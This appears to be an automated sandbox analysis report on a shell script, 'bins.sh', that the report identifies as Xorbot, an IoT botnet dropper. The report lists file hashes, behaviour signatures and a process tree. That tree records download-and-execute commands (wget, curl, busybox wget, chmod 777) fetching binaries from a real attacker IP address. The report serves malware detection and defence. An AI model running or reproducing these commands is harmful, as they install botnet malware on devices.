Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/12/2024, 06:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ec05170856171325b0751f5ea6d0ce2

  • SHA1

    1d4812ade6ba446cda12ccab01c5cf5f56d59f0d

  • SHA256

    32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

  • SHA512

    8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f

  • SSDEEP

    96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Malware Config

Signatures

  • Detects Xorbot 10 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 34 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            ./GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:749
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              ./WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Executes dropped EXE
              PID:756
            • /bin/rm
              rm WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Writes file to tmp directory
                PID:760
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:779
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Writes file to tmp directory
                PID:788
              • /bin/chmod
                chmod 777 sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                ./sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Executes dropped EXE
                PID:794
              • /bin/rm
                rm sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                  PID:797
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:811
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod 777 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  ./7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Executes dropped EXE
                  PID:814
                • /bin/rm
                  rm 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                    PID:816
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:820
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    2⤵
                    • Writes file to tmp directory
                    PID:831
                  • /bin/chmod
                    chmod 777 TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:836
                  • /tmp/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    ./TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    2⤵
                    • Executes dropped EXE
                    PID:837
                  • /bin/rm
                    rm TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                    2⤵
                      PID:840
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      2⤵
                      • Writes file to tmp directory
                      PID:842
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:855
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /bin/chmod
                      chmod 777 5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      ./5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      2⤵
                      • Executes dropped EXE
                      PID:858
                    • /bin/rm
                      rm 5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15
                      2⤵
                        PID:860
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        2⤵
                        • Writes file to tmp directory
                        PID:861
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:862
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        2⤵
                        • Writes file to tmp directory
                        PID:864
                      • /bin/chmod
                        chmod 777 Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        2⤵
                        • File and Directory Permissions Modification
                        PID:865
                      • /tmp/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        ./Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        2⤵
                        • Executes dropped EXE
                        PID:866
                      • /bin/rm
                        rm Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE
                        2⤵
                          PID:868
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          2⤵
                          • Writes file to tmp directory
                          PID:869
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:870
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          2⤵
                          • Writes file to tmp directory
                          PID:871
                        • /bin/chmod
                          chmod 777 sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          2⤵
                          • File and Directory Permissions Modification
                          PID:872
                        • /tmp/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          ./sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          2⤵
                          • Executes dropped EXE
                          PID:873
                        • /bin/rm
                          rm sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5
                          2⤵
                            PID:875
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            2⤵
                            • Writes file to tmp directory
                            PID:876
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:877
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            2⤵
                            • Writes file to tmp directory
                            PID:878
                          • /bin/chmod
                            chmod 777 itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            2⤵
                            • File and Directory Permissions Modification
                            PID:879
                          • /tmp/itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            ./itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            2⤵
                            • Executes dropped EXE
                            PID:880
                          • /bin/rm
                            rm itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM
                            2⤵
                              PID:882
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              2⤵
                              • Writes file to tmp directory
                              PID:883
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:884
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              2⤵
                              • Writes file to tmp directory
                              PID:885
                            • /bin/chmod
                              chmod 777 u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              2⤵
                              • File and Directory Permissions Modification
                              PID:886
                            • /tmp/u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              ./u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              2⤵
                              • Executes dropped EXE
                              PID:887
                            • /bin/rm
                              rm u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE
                              2⤵
                                PID:889
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/vs1hmWdPP5Esm5xregCXyEOlDZyXMV8T3P
                                2⤵
                                • Writes file to tmp directory
                                PID:890
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/vs1hmWdPP5Esm5xregCXyEOlDZyXMV8T3P
                                2⤵
                                • Reads runtime system information
                                PID:891

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/5092q2jrY9qexvLq8GPe7uMdU6gFt3Of15

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/Ft6iiKOZ942GCMAA6g3P1mDdJzlEXm4xjE

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/itMoy2YR8PBfGr70RwLMUQpeQRahj09fnM

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/sZiJgUxjHbxofgcFo4w8zLd65Bk4a1vRj5

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/u9gxUvulTPeD0AOhmpBuo9UwgOOtjm46KE

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/vs1hmWdPP5Esm5xregCXyEOlDZyXMV8T3P

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801